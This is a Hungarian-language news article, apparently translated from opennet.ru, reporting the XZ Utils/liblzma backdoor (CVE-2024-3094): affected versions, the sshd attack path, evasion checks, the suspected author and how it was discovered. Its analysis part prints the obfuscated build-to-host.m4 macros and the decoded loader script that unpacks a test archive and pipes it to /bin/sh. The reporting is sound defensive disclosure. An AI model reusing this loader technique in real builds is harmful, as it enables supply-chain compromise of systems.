Az XZ Utils csomagban, amely tartalmazza a liblzma könyvtárat és a .xz formátumú tömörített adatokkal kapcsolatos eszközöket, hátsó ajtót (CVE-2024-3094) fedeztek fel, amely lehetővé teszi az alkalmazások által kezelt adatok elfogását és módosítását, amelyek a liblzma könyvtárral vannak összefüggésben. A hátsó ajtó fő célpontja az OpenSSH szerver, amely egyes disztribúciókban a libsystemd könyvtárral kapcsolódik, amely viszont szintén használja a liblzma-t. Az sshd és a sebezhető könyvtár összekapcsolása lehetővé teszi a támadók számára, hogy hitelesítés nélkül hozzáférjenek az SSH szerverhez.
A hátsó ajtó a 5.6.0 és 5.6.1 hivatalos kiadásokban volt jelen, amelyeket február 24-én és március 9-én tettek közzé, és amelyek bekerültek néhány disztribúcióba és tárolóba, például a Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide és 40-beta, openSUSE factory és tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Minden felhasználónak, aki az xz 5.6.0 és 5.6.1 verziót használja, sürgősen vissza kell térnie az 5.4.6 verzióra.
A problémát enyhítő tényezők közé tartozik, hogy a hátsó ajtót tartalmazó liblzma verzió nem került bele a főbb disztribúciók stabil kiadásaiba, azonban érintette az openSUSE Tumbleweed és a Fedora 40-beta rendszereit. Az Arch Linux és a Gentoo használt sebezhető zx verziót, de nem álltak támadás alatt, mivel nem alkalmaztak az openssh-hoz készült systemd-notify támogatásához szükséges javítást, amely az sshd liblzma-hoz való kötéséhez vezetett. A hátsó ajtó csak x86_64 architektúrájú Linux kernel, valamint Glibc C könyvtár alapú rendszereket érint.
A hátsó ajtó aktiválásához szükséges kódot az m4 makrókban rejtették el a build-to-host.m4 fájlban, amelyet az automake eszközkészlet használt a fordítás során. Az építés során a zavaros obfuszkált műveletek végrehajtása során, amelyeket az archívumok (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) korrektségének tesztelésére használtak, egy olyan objektumfájl jött létre, amely kártékony kódot tartalmazott, és amely bekerült a liblzma könyvtárba, megbontva néhány funkciójának működését. Az aktiváló hátsó ajtó m4 makrói a kiadások tar-archívumaiba kerültek, de hiányoztak a Git-nyilvántartásból. Ezzel szemben a kártékony tesztarchívumok jelen voltak a nyilvántartásban, tehát a hátsó ajtót beépítő számára hozzáférése volt a nyilvántartáshoz és a kiadási folyamatokhoz is.
A liblzma használata során a rosszindulatú módosítások adatok elfogására vagy módosítására, valamint az sshd működésének befolyásolására használhatók. Különösen a rosszindulatú kód az RSA_public_decrypt funkciót manipulálta az sshd hitelesítési folyamatának megkerülésére. A hátsó ajtó rejtőzködést biztosított és nem mutatkozott meg, ha a LANG és TERM környezeti változók be voltak állítva (azaz a folyamat terminálban való futtatásakor), valamint nem voltak beállítva az LD_DEBUG és LD_PROFILE környezeti változók, és csak a /usr/sbin/sshd végrehajtható fájl futtatásakor aktiválódott. A hátsó ajtó olyan eszközöket is tartalmazott, amelyek felfedezték a hibakeresési környezetekben való futtatást.
Különösen az m4/build-to-host.m4 fájlban a következő konstrukciókat használták: gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
Az első konstrukcióban a grep parancs megtalálta a tests/files/bad-3-corrupt_lzma2.xz fájlt, amelynek kibővítése során a következő szkript alakult ki: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..//..//config.status; then eval `grep ^srcdir= ..//..//config.status` srcdir=»..//..//$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
Hogyan sikerült a támadóknak hozzáférni a projekt xz infrastruktúrájához, az még nem derült ki. Az sem világos, hogy hány felhasználót és projektet kompromittáltak a hátsó ajtó működése következtében. A hátsó ajtó feltételezett szerzője (JiaT75 — Jia Tan), aki a tárolóban rosszindulatú kódot tartalmazó archívumokat helyezett el, kapcsolatba lépett a Fedora fejlesztőivel, és pull kéréseket küldött a Debian számára az xz 5.6.0 verzióra való áttéréssel kapcsolatban, és nem keltett gyanút, mivel az utolsó két évben részt vett az xz fejlesztésében, és a második legnagyobb módosítási számmal rendelkezett. Az xz projekten kívül a hátsó ajtó feltételezett szerzője részt vett az xz-java és xz-embedded csomagok fejlesztésében is. Továbbá, Jia Tan néhány nappal ezelőtt bekerült az XZ Embedded projekt karbantartóinak sorába, amelyet a Linux kernel használ.
A rosszindulatú módosítást a CPU túlfogyasztásának és a valgrind által jelzett hibák elemzése után fedezték fel, miközben ssh-n keresztül csatlakoztak a Debian sid alapú rendszerekhez. Figyelemre méltó, hogy az xz 5.6.1 verzióban olyan módosításokat hajtottak végre, amelyeket a hátsó ajtó feltételezett szerzője a lassulásra és az sshd hibákra vonatkozó panaszok nyomán tett, amelyek az xz 5.6.0 verzióra való frissítést követően merültek fel. Továbbá, tavaly Jia Tan olyan módosításokat végzett, amelyek nem voltak kompatibilisek a «-fsanitize=address» ellenőrzési móddal, ami a fuzzing tesztelés során annak letiltásához vezetett.
Forrás: opennet.ru
